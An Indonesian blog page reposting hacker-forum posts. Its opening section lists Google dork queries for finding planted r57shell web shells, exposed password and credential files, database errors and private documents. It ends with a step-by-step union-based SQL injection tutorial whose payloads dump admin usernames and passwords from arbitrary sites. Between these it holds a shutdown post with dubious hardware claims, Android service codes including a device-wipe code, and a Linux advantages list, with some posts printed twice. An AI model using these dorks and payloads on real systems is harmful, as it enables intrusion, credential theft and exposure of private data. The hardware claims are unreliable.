seperti halnya dengan r57shell, yang biasanya bertitle r57shell dan di dalamnya terdapat banyak tulisan r57shell, yang letaknya pada bagian fooder ( bagian paling bawah bawah ).
untuk mencarinya dengan google dengan mengetikan perintah :
intext:r57shell+http-shell filetype:php <<< bisa di rubah
artinya kita akan mencari file yang didalam sebuah dokumen yang memiliki/ada tulisan r57shell yang tipe filenya adalah php.
kalau jadinya lihat aja disini php shell
Selamat berkreasi dechh…
pointnya asal tauu aja gimana penjelasannya dan ngerti apa tujuannya… , kalau nggak ngertii ntar juga bakalan ngertiii….
untuk jelasnya neh dan lengkapnya coba aja baca di bawah ini, atau kalau nggak puas cari lagi di google, masih banyak kooo, hihihiihhhh
Tulisan di bawah ini diambil dari situsnya http://www.myraffaell.com
Based on: Dangerous Google – Searching for Secrets by:Michał Piotrowski
Diam diam, site ini memberikan kita tools untuk melakukan hacking yang paling berbahaya se antero dunia, walaupun tools google ini hanya bisa memberikan sampai ke level footprinting ada juga yang bisa sampai ke level selanjutnya. kenapa aku sebut dengan tools ? karna kita menggunakan google untuk mencari media yang unsecure, yang mudah di hack yang bolong, yang belum ter update, karna google memiliki kekuatan untuk itu semua.
dari tutorial ini yang akan didapatkan adalah:
* Bagaimana cara menggunakan google untuk mencari sources dari personal information dan confidential data lainya
* Bagaimana cara mencari informasi tentang vulnerable systems and Web services
* Bagaimana cara mencari publicly available network devices.
Hal pertama dari yang harus di ketahui adalah Google Query Operators
Query operator ini berfungsi kasar sebagai filtering search nya google menjadi lebih spesifik berdasarkan query yang kita inginkan, masing masing query memiliki fungsi sendiri sendiri. berikut keterangan dan contong nya….
site
memfilter berdasarkan domain yang ada
contoh: site:google.com fox —> akan mencari kata fox di situs google.com
intitle
Memfilter dokumen yang memiliki title yang spesifik
contoh: intitle:fox fire —> akan mencari semua site yang ada kata fox dan didalamnya terdapat teks fire
allintitle
Memfilter dokumen untuk mencari intitle intile
contoh: allintitle:fox fire —> akan mencari semua site yang memiliki title fox dan yang memiliki title fire atau = intitle:fox intitle:fire
inurl
Memfilter pencarian dengan url yang spesifik
contoh: inurl:fox fire —> akan mencari kata fire di website yang url nya terdapat fox
allinurl
Sama dengan Allintitle (hanya ini url)
filetype, ext
Memfilter pencarian untuk dokumen yang spesifik
contoh: filetype:pdf fire —> akan mencari file PDF yang didalamnya terdapat kata fire
contoh keren: filetype:doc skripsi IT
numrange
Memfilter dokumen berdasarkan range tertentu
contoh: numrange:1-100 fire —> akan mencari range 1-100 yang terdapat kata fire
link
Memfilter site site yang memiliki link terhadap site tertentu
contoh: link:www.google.com —> akan mencari site site mana aja yang memiliki links ke google.com
inanchor
Memfilter berdasarkan site description yang ada
contoh: inanchor:fire —> akan mencari web yang memiliki deskripsi fire
kira kira itulah query query google yang keren keren, sisanya ada sih, seperti:
/ * - + “” ( ya ini regular ekspression biasa kan, jadi ngga perlu di jelaskan lebih detail )
nah, dari situ, kia bisa kreasikan ke berbagai macam jenis query untuk memfilter sesuatu, bahkan ke sesuatu yang lebih dalam, misalnya file database……
Web Server
untuk mencari target dengan mudah dilakukan google dengan menggunakan sintaks berikut ini:
“Apache/1.3.28 Server at” intitle:index.of
–> Apache 1.3.28
“Apache/2.0 Server at” intitle:index.of
–> Apache 2.0
“Apache/* Server at” intitle:index.of
–> semua versi dari Apache
“Microsoft-IIS/4.0 Server at” intitle:index.of
–> Microsoft Internet Information Services 4.0
“Microsoft-IIS/5.0 Server at” intitle:index.of
–> Microsoft Internet Information Services 5.0
“Microsoft-IIS/6.0 Server at” intitle:index.of
–> Microsoft Internet Information Services 6.0
“Microsoft-IIS/* Server at” intitle:index.of
–> semua versi dari Microsoft Internet Information Services
“Oracle HTTP Server/* Server at” intitle:index.of
–> semua versi dari Oracle HTTP Server
“IBM _ HTTP _ Server/* * Server at” intitle:index.of
–> semua versi dari IBM HTTP Server
“Netscape/* Server at” intitle:index.of
–> semua versi dari Netscape Server
“Red Hat Secure/*” intitle:index.of
–> semua versi dari the Red Hat Secure server
“HP Apache-based Web Server/*” intitle:index.of
–> semua versi dari the HP server
Beberapa Bug pada Skripts dapat ditemukan google:
“Generated by phpSystem”
–> dapat menemukan operating system type and version, hardware configuration, logged users, open connections, free memory dan disk space, mount points
“This summary was generated by wwwstat”
–> web server statistics, system file structure
“These statistics were produced by getstats”
–>web server statistics, system file structure
“This report was generated by WebLog”
–>web server statistics, system file structure
intext:”Tobias Oetiker” “traffic analysis”
–>system performance statistics as MRTG charts, network configuration
intitle:”Apache::Status” (inurl:server-status | inurl:status.html | inurl:apache.html)
–>server version, operating system type, child process list,current connections
intitle:”ASP Stats Generator *.*” “
–>ASP Stats
Generator” “2003-2004 weppos”
–>web server activity, lots of visitor information
intitle:”Multimon UPS status page”
–>UPS device performance statistics
intitle:”statistics of” “advanced web statistics”
–>web server statistics, visitor information
intitle:”System Statistics” +”System and Network Information Center”
–>system performance statistics as MRTG charts, hardware configuration, running services
intitle:”Usage Statistics for” “Generated by Webalizer”
–>web server statistics, visitor information, system file structure
intitle:”Web Server Statistics for ****”
–>web server statistics, visitor information
inurl:”/axs/ax-admin.pl” -script
–>web server statistics, visitor information
inurl:”/cricket/grapher.cgi”
–>MRTG charts of network interface performance
inurl:server-info “Apache Server Information”
–>web server version and configuration, operating system type, system file structure
“Output produced by SysWatch *”
–>operating system type and version, logged users, free memory and disk space, mount points, running processes,system logs
Error message queries
Salah satu kumpulan error message query, dapat ditemukan sehingga kita bisa mulai melakukan hacking pada tahap selanjutnya.
“A syntax error has occurred” filetype:ihtml
–>Informix database errors, berpotensial untuk mengambil function names, filenames, file structure information, pieces of SQL code and passwords
“Access denied for user” “Using password”
–>authorisation errors, berpotensial untuk mengambil user names, function names, file structure information and pieces of SQL code
“The script whose uid is ” “is not allowed to access”
–>access-related PHP errors, berpotensial untuk mengambil filenames, function names and file structure information
“ORA-00921: unexpected end of SQL command”
–>Oracle database errors, berpotensial untuk mengambil filenames, function names and file structure information
“error found handling the request” cocoon filetype:xml
–>Cocoon errors, berpotensial untuk mengambil Cocoon version information, filenames, function names and file structure information
“Invision Power Board Database Error”
–>Invision Power Board bulletin board errors, berpotensial untuk mengambil function names, filenames, file structure information and piece of SQL code
“Warning: mysql _ query()” “invalid query”
–>MySQL database errors, berpotensial untuk mengambil user names, function names, filenames and file structure information
“Error Message : Error loading required libraries.”
–>CGI script errors, berpotensial untuk mengambil information about operating system and program versions, user names, filenames and file structure information
“#mysql dump” filetype:sql
–>MySQL database errors, berpotensial untuk mengambil informasi database structure dan contents
Google queries untuk mencari lokasi passwords
kumpulan secara garis besar lokasi password sebuah sistem yang dapat diakses oleh google
“http://*:*@www”
site passwords for site, stored as the string
“http://username: password@www…” filetype:bak inurl:”htaccess|passwd|shadow|ht users”
file backups, berpotensial untuk mengambil user names and passwords
filetype:mdb inurl:”account|users|admin|administrators|passwd|password”
mdb files, berpotensial untuk mengambil password information
intitle:”Index of” pwd.db
pwd.db files, berpotensial untuk mengambil user names and encrypted passwords
inurl:admin inurl:backup intitle:index.of
directories whose names contain the words admin and backup
“Index of/” “Parent Directory” “WS _ http://FTP.ini” filetype:ini WS _ FTP PWD
WS_FTP configuration files, berpotensial untuk mengambil FTP server access passwords
ext:pwd inurl:(service|authors|administrators|users) “# -FrontPage-”
Terdapat Microsoft FrontPage passwords
filetype:sql (”passwd values ****” |”password values ****” | “pass values ****” )
Terdapat SQL code and passwords yang disimpan dalam a database
intitle:index.of trillian.ini
configuration files for the Trillian IM
eggdrop filetype:user
user configuration files for the Eggdrop ircbot
filetype:conf slapd.conf configuration files for OpenLDAP
inurl:”wvdial.conf” intext:”password” configuration files for WV Dial
ext:ini eudora.ini configuration files for the Eudora mail client
filetype:mdb inurl:users.mdb
Microsoft Access files, berpotensial untuk mengambil user account information
intext:”powered by Web Wiz Journal”
websites using Web Wiz Journal, which in its standard configuration allows access to the passwords file – just enter http:///journal/journal.mdb instead of the default http:///journal/
“Powered by DUclassified” -site:duware.com
“Powered by DUcalendar” -site:duware.com
“Powered by DUdirectory” -site:duware.com
“Powered by DUclassmate” -site:duware.com
“Powered by DUdownload” -site:duware.com
“Powered by DUpaypal” -site:duware.com
“Powered by DUforum” -site:duware.com
intitle:dupics inurl:(add.asp | default.asp |view.asp | voting.asp) -site:duware.com
websites yang menggunakan DUclassified, DUcalendar, DUdirectory, DUclassmate, DUdownload, DUpaypal, DUforum or DUpics applications, secara default memungkinkan kita untuk mengambil passwords file
– untuk DUclassified, just enter http:///duClassified/ _private/duclassified.mdb
atau http:///duClassified/
intext:”BiTBOARD v2.0″ “BiTSHiFTERS Bulletin Board”
website yang menggunakan Bitboard2 bulletin board, secara default settings memungkinkan kita untuk mengambil passwords file to be obtained
– dengan cara http:///forum/admin/data _ passwd.dat
atau http:///forum/forum.php
Mencari Dokumen khusus ?
filetype:xls inurl:”email.xls” email.xls
files, berpotensial untuk mengambil contact information
“phone * * *” “address *” “e-mail” intitle:”curriculum vitae”
CVs
“not for distribution”
confidential documents containing the confidential clause
buddylist.blt
AIM contacts list
intitle:index.of mystuff.xml
Trillian IM contacts list
filetype:ctt “msn”
MSN contacts list
filetype:QDF
QDF database files for the Quicken financial application
intitle:index.of finances.xls
finances.xls files, berpotensial untuk mengambil information on bank accounts, financial summaries and credit card numbers
intitle:”Index Of” -inurl:maillog maillog size maillog files, berpotensial untuk mengambil e-mail
“Network Vulnerability Assessment Report”
“Host Vulnerability Summary Report”
filetype:pdf “Assessment Report”
“This file was generated by Nessus”
reports for network security scans, penetration tests etc. On the Net
untuk lebih kreatifnya bisa di coba coba sendiri, okeh
reference:
* http://johnny.ihackstuff.com – largest repository of data on Google hacking,
* http://insecure.org/nmap/ – Nmap network scanner,
* http://thc.org/thc-amap/ – amap network scanner.
http://hacker-newbie.org/showthread.php?tid=11520
Sabtu, 17 Desember 2011
Kamis, 15 Desember 2011
5 Alasan Komputer Wajib di Shut Down Setelah Selesai Menggunakan
Setiap kali kita menggunakan komputer, setelah selesai kita waijb melakukan proses shutdown. namun, biasanya beberapa user kadang suka males menunggu proses shutdown yang agak lama, jadi langsung saja matiin dari tombol power atau dari stop kontaknya.
Nah bagi yang pernah melakukannya disarankan untuk baca pembahasan ini. Bila kita terlalu sering mematikan komputer dengan cara mematikan hubungan listrik ke komputer tanpa melakukan proses Shutdown, ada beberapa kendala yang akan terjadi :
1. Pada saat proses Shutdown komputer akan meregistrasi ulang komponen komputer yang terpakai (digunakan) dan software serta data yang dipakai atau yang di delete.
Kalau kita mematikan komputer secara langsung, maka komponen atau software serta data yang digunakan tidak dapat disimpan kedalam registri, sehingga bila terjadi masalah pada komputer maka komputer tidak dapat menjalankan system recovery berdasarkan tanggal atau waktu yang di tetapkan.
2. Pada saat proses Shutdown, processor memberikan perintah kepada bios untuk menghentikan segala pekerjaan-pekerjaan komponen peralatan, sehingga arus atau daya yang terpakai diputus secara normal.
Tapi kalau kita mematikan langsung maka komponen komputer secara mendadak mati tanpa pemutusan arus secara normal sehingga lama kelamaan akan menimbulkan kerusakan pada komponen komputer.
3. Pada saat proses Shutdown fan komputer akan bekerja dua kali lebih cepat untuk proses pendinginan processor, kalau kita mematikan komputer secara langsung, maka pendinginan processor tidak bekerja secara normal maka lama-kelamaan processor bisa rusak.
4. Pada saat proses Shutdown system memory akan dikosongkan, sehingga pada saat komputer dipakai lagi maka memory sudah benar-benar dalam keadaan refresh, kalau kita mematikan komputer secara langsung maka besar kemungkinan memory bisa rusak.
5. Pada saat proses Shutdown hard disk bekerja untuk menyimpan data yang diperintahkan processor serta menyalin data komponen serta software kedalam registrasi komputer, kemudian head hard disk akan kembali ke posisi awal (ke posisi tidak membaca hard disk).
Kalau kita mematikan komputer secara langsung maka selain data komponen dan software tidak tersimpan pada registry, juga posisi head hard disk berada di tengah-tengah silinder hard disk, sehingga pada saat dihidupkan kembali komputer dapat merusak silinder hard disk sehingga terjadi Bad sector hard disk, lama kelamaan akan menyebabkan hard disk rusak.
Itulah sebabnya mengapa pada saat proses Shutdown komputer lama untuk mati. Oleh sebab itu hendaknya jika mematikan komputer harus melakukan proses Shutdown terlebih dahulu, bila kita tidak ingin ada masalah kerusakan pada system komputer, baik software maupun hardware nya.
http://hacker-newbie.org/showthread.php?tid=5625
Nah bagi yang pernah melakukannya disarankan untuk baca pembahasan ini. Bila kita terlalu sering mematikan komputer dengan cara mematikan hubungan listrik ke komputer tanpa melakukan proses Shutdown, ada beberapa kendala yang akan terjadi :
1. Pada saat proses Shutdown komputer akan meregistrasi ulang komponen komputer yang terpakai (digunakan) dan software serta data yang dipakai atau yang di delete.
Kalau kita mematikan komputer secara langsung, maka komponen atau software serta data yang digunakan tidak dapat disimpan kedalam registri, sehingga bila terjadi masalah pada komputer maka komputer tidak dapat menjalankan system recovery berdasarkan tanggal atau waktu yang di tetapkan.
2. Pada saat proses Shutdown, processor memberikan perintah kepada bios untuk menghentikan segala pekerjaan-pekerjaan komponen peralatan, sehingga arus atau daya yang terpakai diputus secara normal.
Tapi kalau kita mematikan langsung maka komponen komputer secara mendadak mati tanpa pemutusan arus secara normal sehingga lama kelamaan akan menimbulkan kerusakan pada komponen komputer.
3. Pada saat proses Shutdown fan komputer akan bekerja dua kali lebih cepat untuk proses pendinginan processor, kalau kita mematikan komputer secara langsung, maka pendinginan processor tidak bekerja secara normal maka lama-kelamaan processor bisa rusak.
4. Pada saat proses Shutdown system memory akan dikosongkan, sehingga pada saat komputer dipakai lagi maka memory sudah benar-benar dalam keadaan refresh, kalau kita mematikan komputer secara langsung maka besar kemungkinan memory bisa rusak.
5. Pada saat proses Shutdown hard disk bekerja untuk menyimpan data yang diperintahkan processor serta menyalin data komponen serta software kedalam registrasi komputer, kemudian head hard disk akan kembali ke posisi awal (ke posisi tidak membaca hard disk).
Kalau kita mematikan komputer secara langsung maka selain data komponen dan software tidak tersimpan pada registry, juga posisi head hard disk berada di tengah-tengah silinder hard disk, sehingga pada saat dihidupkan kembali komputer dapat merusak silinder hard disk sehingga terjadi Bad sector hard disk, lama kelamaan akan menyebabkan hard disk rusak.
Itulah sebabnya mengapa pada saat proses Shutdown komputer lama untuk mati. Oleh sebab itu hendaknya jika mematikan komputer harus melakukan proses Shutdown terlebih dahulu, bila kita tidak ingin ada masalah kerusakan pada system komputer, baik software maupun hardware nya.
http://hacker-newbie.org/showthread.php?tid=5625
Kamis, 08 Desember 2011
Kode Rahasia Android
Kode-kode ini sangat menarik karena dapat anda gunakan untuk mengaktifkan atau menonaktifkan beberapa pengaturan yang tidak ada di pengaturan pada umumnya. .Oleh karena itu disini saya akan meretweet kalau dalam bahasa twitternya, hehehe. OK, berikut ini adalah kode-kode rahasia pada Android :
*#*#4636#*#* Kode ini dapat digunakan untuk mendapatkan informasi menarik tentang telepon dan baterai, diantaranya:
* Informasi Ponsel
* Informasi Battery
* Battery history
* Statistik Pemakaian
*#*#7780#*#* Kode ini dapat digunakan untuk mereset data, diantaranya:
* Pengaturan akun Google yang tersimpan pada ponsel
* Pengaturan sistem data aplikasi
* Aplikasi yang di download data yang tidak akan terhapus:
* Sistem Operasi serta paket aplikasi bawaan Android
* Semua data yang ada pada memory card
*2767*3855# Kode ini digunakan untuk memformat seluruh system termasuk penyimpanan memori internal. Hal ini juga akan menginstal ulang firmware telepon.
*#*#34971539#*#* Kode ini digunakan untuk mendapatkan informasi tentang kamera ponsel, diantaranya:
* Update camera firmware pada gambar (jangan anda coba, karena dapat merusak komponen kamera)
* Update camera firmware pada SD card
* Mendapatkan versi camera firmware
* Mendapatkan total update firmware
*#*#7594#*#* Kode ini dapat digunakan untuk mengubah tombol “End Call atau Power”, jadi jika Anda menekannya lama, maka akan tampil pada layar meminta Anda untuk memilih pilihan dari mode Diam, Airplane mode dan Power off.
*#*#273283*255*663282*#*#* Kode ini akan membuka layar Berkas salinan untuk membuat file cadangan pada media Anda misalnya Gambar, suara, catatan, video dan suara.
*#*#197328640#*#* Kode ini dapat digunakan untuk masuk ke modus Service. Dapat menjalankan berbagai tes dan mengubah pengaturan di service mode.
*#*#232339#*#* atau *#*#526#*#* OR *#*#528#*#* –> Mengetes WLAN (Gunakan tombol “Menu” untuk memulai berbagai tes)
*#*#232338#*#* –> Menampilkan WiFi MAC address
*#*#1472365#*#* –> Mengetes GPS
*#*#1575#*#* –> Mengetes GPS lainnya
*#*#232331#*#* –> Mengetes Bluetooth
*#*#232337#*# –> Menampilkan Bluetooth device
Kode untuk mengetahui informasi versi Firmware
*#*#4986*2650468#*#* –> Mengetahui PDA, Phone, H/W, RFCallDate *#*#1234#*#* –> Mengetahui PDA dan Ponsel
*#*#1111#*#* –> Mengetahui versi FTA SW
*#*#2222#*#* –> Mengetahui versi FTA HW
*#*#44336#*#* –> Mengetahui PDA, Phone, CSC, Build Time, Changelist number
Kode untuk menampilkan berbagai tes
*#*#0283#*#* –> Packet Loopback
*#*#0*#*#* –> Mengetes LCD
*#*#0673#*#* atau *#*#0289#*#* –> Mengetes Melody atau Nada *#*#0842#*#* –> Mengetes Device (Vibration dan BackLight) *#*#2663#*#* –> Mengetahui versi Touch screen
*#*#2664#*#* –> Mengetes Touch screen *#*#0588#*#* –> Mengetes Proximity sensor *#*#3264#*#* –> Mengetahui versi RAM
http://hacker-newbie.org/showthread.php?tid=11132
*#*#4636#*#* Kode ini dapat digunakan untuk mendapatkan informasi menarik tentang telepon dan baterai, diantaranya:
* Informasi Ponsel
* Informasi Battery
* Battery history
* Statistik Pemakaian
*#*#7780#*#* Kode ini dapat digunakan untuk mereset data, diantaranya:
* Pengaturan akun Google yang tersimpan pada ponsel
* Pengaturan sistem data aplikasi
* Aplikasi yang di download data yang tidak akan terhapus:
* Sistem Operasi serta paket aplikasi bawaan Android
* Semua data yang ada pada memory card
*2767*3855# Kode ini digunakan untuk memformat seluruh system termasuk penyimpanan memori internal. Hal ini juga akan menginstal ulang firmware telepon.
*#*#34971539#*#* Kode ini digunakan untuk mendapatkan informasi tentang kamera ponsel, diantaranya:
* Update camera firmware pada gambar (jangan anda coba, karena dapat merusak komponen kamera)
* Update camera firmware pada SD card
* Mendapatkan versi camera firmware
* Mendapatkan total update firmware
*#*#7594#*#* Kode ini dapat digunakan untuk mengubah tombol “End Call atau Power”, jadi jika Anda menekannya lama, maka akan tampil pada layar meminta Anda untuk memilih pilihan dari mode Diam, Airplane mode dan Power off.
*#*#273283*255*663282*#*#* Kode ini akan membuka layar Berkas salinan untuk membuat file cadangan pada media Anda misalnya Gambar, suara, catatan, video dan suara.
*#*#197328640#*#* Kode ini dapat digunakan untuk masuk ke modus Service. Dapat menjalankan berbagai tes dan mengubah pengaturan di service mode.
*#*#232339#*#* atau *#*#526#*#* OR *#*#528#*#* –> Mengetes WLAN (Gunakan tombol “Menu” untuk memulai berbagai tes)
*#*#232338#*#* –> Menampilkan WiFi MAC address
*#*#1472365#*#* –> Mengetes GPS
*#*#1575#*#* –> Mengetes GPS lainnya
*#*#232331#*#* –> Mengetes Bluetooth
*#*#232337#*# –> Menampilkan Bluetooth device
Kode untuk mengetahui informasi versi Firmware
*#*#4986*2650468#*#* –> Mengetahui PDA, Phone, H/W, RFCallDate *#*#1234#*#* –> Mengetahui PDA dan Ponsel
*#*#1111#*#* –> Mengetahui versi FTA SW
*#*#2222#*#* –> Mengetahui versi FTA HW
*#*#44336#*#* –> Mengetahui PDA, Phone, CSC, Build Time, Changelist number
Kode untuk menampilkan berbagai tes
*#*#0283#*#* –> Packet Loopback
*#*#0*#*#* –> Mengetes LCD
*#*#0673#*#* atau *#*#0289#*#* –> Mengetes Melody atau Nada *#*#0842#*#* –> Mengetes Device (Vibration dan BackLight) *#*#2663#*#* –> Mengetahui versi Touch screen
*#*#2664#*#* –> Mengetes Touch screen *#*#0588#*#* –> Mengetes Proximity sensor *#*#3264#*#* –> Mengetahui versi RAM
http://hacker-newbie.org/showthread.php?tid=11132
Rabu, 07 Desember 2011
37 Kelebihan Linux
Linux adalah sebuah jenis sistem operasi awalnya dibuat oleh Linus Torvalds dengan bantuan dari pengembang di seluruh dunia. Dikembangkan di bawah GNU General Public License, kode sumber untuk Linux tersedia secara bebas untuk semua orang.Ada banyak Varian dari Linux yang di kembangkan di seluruh dunia sebagai Sistem operasi yang Free dan Open source yang sering di kenal dengan Istilah FOSS (Free/Open Source Software).Foss adalah Konsep berbagi , merdeka dan terbuka.
1. Anda tidak perlu membeli Linux OS dan mengeluarkan Uang yang mahal untuk membeli CD Windows yang Original.
2. Anda tidak Perlu takut Untuk di Sweeping atau di Razia Software karena Linux Free.
3. Anda telah membantu mengurangi Pembajakan Software dan tidak perlu membeli Licensi Key/ Keygen.
4. Apakah Anda suka internet? The TCP / IP protokol dibangun pada UNIX komputer
5. Sedangkan Windows hanya embraced TCP / IP sebagai protokol asli dari Windows 2000.
6. Sobat tidak perlu defragment Linux Selalu untuk selamanya..
7. Linux lebih aman karena Linux memiliki filosofi menjalankan proses pada tingkat
8. Terendah yang diperlukan akses.
9. Lebih dari 80% dari atas 500 supercomputers di dunia menjalankan Linux
10. Jika anda memerlukan sebuah kantor suite Anda dapat men-download Open Office (Free)
11. Anda tidak menderita vendor lock-in dengan Linux.
12. Linux OS dapat menjalankan distribusi yang sama persis pada sistem 32-bit, 64-bit sistem sedangkan Windows Bajakan yang sering digunakan di Indonesia adalah Windows 32 Bit.
13. Komunitas linux adalah orang yang berlimpah dengan keinginan untuk saling membantu memecahkan masalah apapun pengalaman serta berbagi tips dan ide untuk kreativitas.
14. Linux tidak crash tanpa alasan jelas sewaktu di Jalankan.
15. Linux tidak dapat membuat sistem anda unusable seperti yang sering di temukan di Windows.
16. Pada Sistem Operasi Windows ketika selesai Update Antivirus dan Instal software seringnya meminta untuk Restart/reboot bahkan kadang Restart secara Otomatis (Windows Maksa Bro biar systemnya Update).Tetapi Linux tidak reboot dengan sendirinya (Otomatis)
17. Linux dapat membaca dengan baik lebih dari seratus berbagai jenis file system.
18. Sobat memiliki hak untuk mengubah apa-apa saja yang berada di dalam Linux jika memiliki kemampuan dan skill asal masih mencantumkan Varian Linuxnya.
19. Sobat tidak akan terjebak dengan legacy application dimana vendor maupun providernya telah ditutup dan tak dapat memperbaruinya.
20. Linux happily akan menginstal sendiri pada partisi hardisk logis. Anda tidak dibatasi untuk partisi utama.
21. Linux dapat dijalankan dari CD tanpa harus mempengaruhi apa yang sudah di hard disk dari komputer.(IGOS OS yang murni Sistem Operasi buatan Indonesia yang di ambil dari Varian Fedora Linux)
22. Tidak ada 1 Sistem Operasipun yang bisa meng-klaim terbebas dari serangan Virus maupun Trojan termasuk Linux.Tapi setidaknya Linux tetap lebih aman karena Linux merupakan Open source dan masih sedikitnya orang yang mengetahui tentang Scripting pembuatan Virus di Linux..hehe
23. Pada Linux Anda mendapatkan khusus suite yang berisikan pendidikan dan permainan. Windows versi ini tidak dikembangkan, dan harus membeli Licensi.
24. Anda tidak perlu untuk mencari Resor vendor atau menggunakan situs Windows Update untuk melakukan sesuatu pekerjaan.
25. Anda dapat membuat sendiri distro Linux jika Anda inginkan. Bayangkan "MyLinux" untuk diberikan kepada semua teman dan keluarga Anda.Kidding Sob...dan dengan catatan kita bisa mendistribusikannya ke setiap orang tanpa harus per-izinan alias Birokrasi dan akhirnya anda terkenal deh..
26. Linux dapat membantu Anda menghapus spam tanpa biaya. Bahkan, Spam Assassin - salah satu yang paling populer open source anti-spam system - adalah dasar dari banyaknya komersial produk anti-spam. Kontras oleh produk seperti Symantec Mail Keamanan adalah sekitar $ 30/mailbox. Layanan seperti MessageLabs juga biaya per surat.
27. (Waw mending buat email Baru deh kalau email Saya di kirim Spam Assassin daipada Bayar!)
28. Perangkat lunak open source menawarkan versi yang lebih baik dari Microsoft Office SharePoint Server dari Microsoft
29. Linux adalah sebuah sistem multi-user . Anda dapat memiliki banyak ratusan semua pengguna Linux yang bekerja di salah satu sistem. Sedangkan Windows Terminal Services menawarkan tapi tidak standar, dan ada yang ekstra lisensi per pengguna.
30. Linux sangat kuat bahasa scripting yang memberikan kekuatan besar untuk sistem administrator.
31. Proyek honeypot menemukan bahwa sebuah unpatched Linux server dapat lebih bertahan jika terkoneksi dengan Internet.sementara patch Windows' server akan bangkrut dalam waktu beberapa jam.Bahkan tanpa patch, Linux masih lebih baik daripada Windows.
32. An out-of-the-box sistem Linux dapat digunakan untuk yang jauh lebih besar dari berbagai kepentingan yang out-of-the-box sistem Windows. Anda akan mail server, web server, database server, dan file-print server, intranet server, remote akses server, VPN server, server FTP - apapun yang Anda inginkan, benar-benar.
33. Linux tidak membatasi bagaimana konten digunakan pada sistem. Tidak ada manajemen hak digital (DRM) perlambatan bawah komputer atau menyebabkan konflik dengan hardware atau software. Tinggi kualitas audio visual keluaran tidak artificially direndahkan. Dengan Linux anda dapat memutar musik, menonton film dan menjalankan perangkat lunak. Sistem operasi tidak akan terganggu dengan adil-hak untuk menggunakan konten Anda sendiri.
34. Sobat tidak akan menanyakan ke Mama...Ma mengapa RUNDLL32.EXE ?? hehe..
35. Berapa banyak kertas dan plastik yang digunakan untuk membuat dan mendistribusikan semua kotak set produk Microsoft? Linux adalah bebas didownload dari Internet.
36. Beberapa vendor perangkat keras seperti ASUS akan mencari embedding Linux di silicon untuk membuat generasi berikutnya komputer mulai lebih cepat. Anda tidak boleh melakukan ini dengan Windows, dan jika tidak mungkin ia akan datang dengan kenaikan harga karena perizinan.
37. Linux tidak akan mati karena open source dan Free.Tidak seperti Sistem Operasi yang Lain.Maaf Y Vendor yang OS yang telah Tutup BeOS, AmigaOS.
http://hacker-newbie.org/showthread.php?tid=2776
My SQL Injection Step by Step
Pengertian sql injection:
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x
===========
=step Satu:=
===========
carilah target
misal: [site]/berita.php?id=100
Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh:
[site]/berita.php?id=100' atau
[site]/berita.php?id=-100
ehingga muncul pesan error seperti berikut (masih bnyak lagi):
==========
=step Dua:=
==========
mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by
contoh:
[site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*
ceklah secara step by step (satupersatu)...
misal:
[site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--
sehingga muncul error atau hilang pesan error...
misal: [site]/berita.php?id=-100+order+by+9--
berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--
===========
=step Tiga:=
===========
untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--
ok seumpama yg keluar angka 5
gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--
lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..
untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..
============
=step Empat:=
============
untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--
seumpama table yang muncul adalah "admin"
===========
=step Lima:=
===========
untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--
=============
= step Enam: =
=============
perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa--
pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
http://www.v3n0m.net/ascii.htm
contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E--
============
=step Tujuh:=
============
memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara
perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir
Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--
contoh kata yang keluar adalah id,username,password
Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--
==============
= step Delapan:=
==============
tahap terakhir mencari halam admin atau login .
http://hacker-newbie.org/showthread.php?tid=97
